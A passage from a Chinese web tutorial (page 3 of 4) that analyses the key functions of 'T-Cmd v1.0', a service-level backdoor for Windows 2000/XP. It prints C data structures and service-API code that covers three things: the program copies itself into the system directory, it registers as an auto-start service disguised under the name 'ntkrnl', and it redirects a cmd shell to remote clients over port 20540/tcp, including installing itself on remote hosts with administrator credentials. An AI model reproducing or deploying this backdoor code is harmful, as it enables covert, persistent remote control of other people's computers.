WEB开发网
开发学院软件开发VC 浅析Windows2000/XP服务与后门技术 阅读

浅析Windows2000/XP服务与后门技术

 2010-05-12 20:35:40 来源:WEB开发网   
核心提示:五、关键函数分析本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP,浅析Windows2000/XP服务与后门技术(3),它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,服务类型,开始类型,支持本地/远程模式,重启后

五、关键函数分析

本文相关程序T-Cmd v1.0是一个服务级的后门程序,适用平台为Windows2000/XP。它可自动为远程/本地主机创建服务级后门,无须使用任何额外的命令,支持本地/远程模式。重启后,程序仍然自动运行,监听端口20540/tcp。

1.自定义数据结构与函数

typedef struct
{
  HANDLE    hPipe;
    //为实现进程间通信而使用的管道;
  SOCKET    sClient;
    //与客户端进行通信时的客户端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd标准输入/输出时使用的数据结构;
typedef struct PROCESSDATA
{
  HANDLE    hProcess;
    //创建Cmd进程时获得的进程句柄;
  DWORD     dwProcessId;
    //创建Cmd进程时获得的进程标识符;
  struct    PROCESSDATA *next;
    //指向下一个数据结构的指针;
}PROCESSDATA,*PPROCESSDATA;
   //在客户结束访问或删除服务时为关闭所以的Cmd进程而创建的数据结构;
  void WINAPI CmdStart(DWORD,LPTSTR *);
  //服务程序中的“ServiceMain”:注册服务控制句柄,创建服务主线程;
  void WINAPI CmdControl(DWORD);
  //服务程序中的“HandlerEx”:处理接收到的控制命令,删除已创建的Cmd进程;
  DWORD WINAPI CmdService(LPVOID);
  //服务主线程,创建服务监听端口,在接受客户连接时,创建重定向Cmd标准输入/输出线程;
  DWORD WINAPI CmdShell(LPVOID);
  //创建管道与Cmd进程,及Cmd的输入/输出线程;
  DWORD WINAPI ReadShell(LPVOID);
  //重定向Cmd的输出,读取信息后发送到客户端;
  DWORD WINAPI WriteShell(LPVOID);
  //重定向Cmd的输入,接收客户端的信息输入到Cmd进程;
  BOOL ConnectRemote(BOOL,char *,char *,char *);
  //如果选择远程模式,则须与远程主机建立连接,注须提供管理员权限的用户名与密码,密码为空时用"NULL"代替;
  void InstallCmdService(char *);
  //复制传送文件,打开服务控制管理器,创建或打开服务程序;
  void RemoveCmdService(char *);
  //删除文件,停止服务后,卸载服务程序;

2.服务程序相关函数

SERVICE_TABLE_ENTRY DispatchTable[] =
{
   {"ntkrnl",CmdStart},
   //服务程序的名称和入口点;
   {NULL  ,NULL  }
   //SERVICE_TABLE_ENTRY结构必须以“NULL”结束;
};
  StartServiceCtrlDispatcher(DispatchTable);
  //连接服务控制管理器,开始控制调度程序线程;
  ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
  //注册CmdControl函数为“HandlerEx”函数,并初始化;
  ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
  //设置服务的当前状态为SERVICE_RUNNING;
  hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
  //创建服务主线程,实现后门功能;
  WaitForSingleObject(hMutex,INFINITE);
  //等待互斥量,控制全局变量的同步使用;
  TerminateProcess(lpProcessDataHead->hProcess,1);
  //终止创建的Cmd进程;
  hSearch=FindFirstFile(lpImagePath,&FileData);
  //查找系统目录下服务程序的文件是否已经存在;
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
  //获得当前进程的程序文件名;
  CopyFile(lpCurrentPath,lpImagePath,FALSE);
  //复制文件到系统目录下;
  schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
  //打开服务控制管理器数据库;
  CreateService(schSCManager,
        "ntkrnl",
        "ntkrnl",
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,
        SERVICE_ERROR_IGNORE,
        "ntkrnl.exe",
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
  //创建服务,参数包括名称,服务类型,开始类型,错误类型及文件路径等;
  schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
  //如果服务已经创建,则打开服务;
  StartService(schService,0,NULL);
  //启动服务进程;
  ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
  //控制服务状态;
  DeleteService(schService);
  //卸载服务程序;
  DeleteFile(lpImagePath);
  //删除文件;

上一页  1 2 3 4  下一页

Tags:浅析 Windows XP

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接